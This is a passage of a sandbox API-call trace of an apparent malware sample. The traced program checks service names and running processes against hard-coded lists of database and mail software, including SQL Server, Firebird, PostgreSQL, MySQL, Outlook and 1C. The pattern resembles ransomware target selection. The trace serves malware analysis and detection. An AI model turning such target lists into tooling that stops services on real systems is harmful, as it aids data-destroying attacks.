(lpString1="sqlwriter", lpString2="SENS") returned 1 [0070.431] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0070.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0070.431] lstrlenW (lpString="ShellHWDetection") returned 16 [0070.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0070.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0070.431] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0070.432] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0070.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0070.432] lstrlenW (lpString="Spooler") returned 7 [0070.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0070.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0070.432] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0070.432] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0070.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0070.432] lstrlenW (lpString="swprv") returned 5 [0070.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0070.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0070.432] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0070.432] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0070.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0070.432] lstrlenW (lpString="SysMain") returned 7 [0070.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0070.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0070.432] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0070.432] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0070.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0070.432] lstrlenW (lpString="Themes") returned 6 [0070.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0070.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0070.432] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0070.432] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0070.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0070.432] lstrlenW (lpString="TrkWks") returned 6 [0070.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0070.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0070.433] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0070.433] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0070.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0070.433] lstrlenW (lpString="UxSms") returned 5 [0070.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0070.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0070.433] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0070.433] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0070.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0070.433] lstrlenW (lpString="VSS") returned 3 [0070.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0070.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0070.433] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0070.433] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0070.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0070.433] lstrlenW (lpString="WdiServiceHost") returned 14 [0070.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0070.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0070.433] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0070.433] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0070.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0070.433] lstrlenW (lpString="WdiSystemHost") returned 13 [0070.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0070.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0070.433] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0070.433] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0070.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0070.433] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0070.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0070.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0070.433] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0070.433] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0070.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0070.434] lstrlenW (lpString="Winmgmt") returned 7 [0070.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0070.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0070.434] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0070.434] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0070.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0070.434] lstrlenW (lpString="WPDBusEnum") returned 10 [0070.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0070.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0070.434] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0070.434] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0070.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0070.434] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f81fa8 | out: hHeap=0x5d0000) returned 1 [0070.434] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e8 [0070.439] Process32FirstW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0070.439] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0070.440] lstrlenW (lpString="System") returned 6 [0070.440] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0070.440] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0070.440] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0070.440] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0070.440] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0070.440] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0070.440] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0070.440] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0070.440] lstrlenW (lpString="smss.exe") returned 8 [0070.440] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0070.440] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0070.440] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0070.440] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0070.440] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0070.440] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0070.441] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0070.441] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0070.441] lstrlenW (lpString="csrss.exe") returned 9 [0070.441] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0070.441] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0070.441] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0070.441] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0070.441] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0070.441] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0070.441] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0070.441] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0070.442] lstrlenW (lpString="wininit.exe") returned 11 [0070.442] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0070.442] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0070.442] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0070.442] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0070.442] lstrlenW (lpString="csrss.exe") returned 9 [0070.443] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0070.443] lstrlenW (lpString="winlogon.exe") returned 12 [0070.443] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0070.444] lstrlenW (lpString="services.exe") returned 12 [0070.444] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0070.444] lstrlenW (lpString="lsass.exe") returned 9 [0070.444] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0070.445] lstrlenW (lpString="lsm.exe") returned 7 [0070.445] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.445] lstrlenW (lpString="svchost.exe") returned 11 [0070.445] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.446] lstrlenW (lpString="svchost.exe") returned 11 [0070.446] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.446] lstrlenW (lpString="svchost.exe") returned 11 [0070.446] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.447] lstrlenW (lpString="svchost.exe") returned 11 [0070.447] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.448] lstrlenW (lpString="svchost.exe") returned 11 [0070.448] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0070.448] lstrlenW (lpString="audiodg.exe") returned 11 [0070.448] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.449] lstrlenW (lpString="svchost.exe") returned 11 [0070.449] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.449] lstrlenW (lpString="svchost.exe") returned 11 [0070.449] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0070.450] lstrlenW (lpString="dwm.exe") returned 7 [0070.450] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0070.450] lstrlenW (lpString="explorer.exe") returned 12 [0070.450] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0070.451] lstrlenW (lpString="spoolsv.exe") returned 11 [0070.451] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.451] lstrlenW (lpString="svchost.exe") returned 11 [0070.451] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0070.452] lstrlenW (lpString="taskhost.exe") returned 12 [0070.452] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0070.452] lstrlenW (lpString="taskeng.exe") returned 11 [0070.452] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoken.exe")) returned 1 [0070.453] lstrlenW (lpString="spoken.exe") returned 10 [0070.453] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cut baby kind.exe")) returned 1 [0070.454] lstrlenW (lpString="cut baby kind.exe") returned 17 [0070.454] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="intelligence-jones.exe")) returned 1 [0070.454] lstrlenW (lpString="intelligence-jones.exe") returned 22 [0070.454] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="enterprises oscar hr.exe")) returned 1 [0070.455] lstrlenW (lpString="enterprises oscar hr.exe") returned 24 [0070.455] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="things apt speaker.exe")) returned 1 [0070.455] lstrlenW (lpString="things apt speaker.exe") returned 22 [0070.455] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="longest.exe")) returned 1 [0070.456] lstrlenW (lpString="longest.exe") returned 11 [0070.456] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="liberty.exe")) returned 1 [0070.456] lstrlenW (lpString="liberty.exe") returned 11 [0070.456] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="robust.exe")) returned 1 [0070.457] lstrlenW (lpString="robust.exe") returned 10 [0070.457] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="browse.exe")) returned 1 [0070.457] lstrlenW (lpString="browse.exe") returned 10 [0070.457] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused_mem_exotic.exe")) returned 1 [0070.458] lstrlenW (lpString="accused_mem_exotic.exe") returned 22 [0070.458] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="blocked.exe")) returned 1 [0070.607] lstrlenW (lpString="blocked.exe") returned 11 [0070.607] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cope-characterization-larger.exe")) returned 1 [0070.608] lstrlenW (lpString="cope-characterization-larger.exe") returned 32 [0070.608] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="reno.exe")) returned 1 [0070.609] lstrlenW (lpString="reno.exe") returned 8 [0070.609] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="vancouver.exe")) returned 1 [0070.609] lstrlenW (lpString="vancouver.exe") returned 13 [0070.610] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="africa.exe")) returned 1 [0070.610] lstrlenW (lpString="africa.exe") returned 10 [0070.610] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ph-pos.exe")) returned 1 [0070.611] lstrlenW (lpString="ph-pos.exe") returned 10 [0070.611] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="johns inclusive alpine.exe")) returned 1 [0070.612] lstrlenW (lpString="johns inclusive alpine.exe") returned 26 [0070.612] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="peaceful.exe")) returned 1 [0070.612] lstrlenW (lpString="peaceful.exe") returned 12 [0070.612] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="louise_threshold.exe")) returned 1 [0070.613] lstrlenW (lpString="louise_threshold.exe") returned 20 [0070.613] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scannerhit.exe")) returned 1 [0070.614] lstrlenW (lpString="scannerhit.exe") returned 14 [0070.614] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0070.615] lstrlenW (lpString="3dftp.exe") returned 9 [0070.615] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0070.615] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0070.615] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0070.616] lstrlenW (lpString="alftp.exe") returned 9 [0070.616] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0070.617] lstrlenW (lpString="barca.exe") returned 9 [0070.617] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, 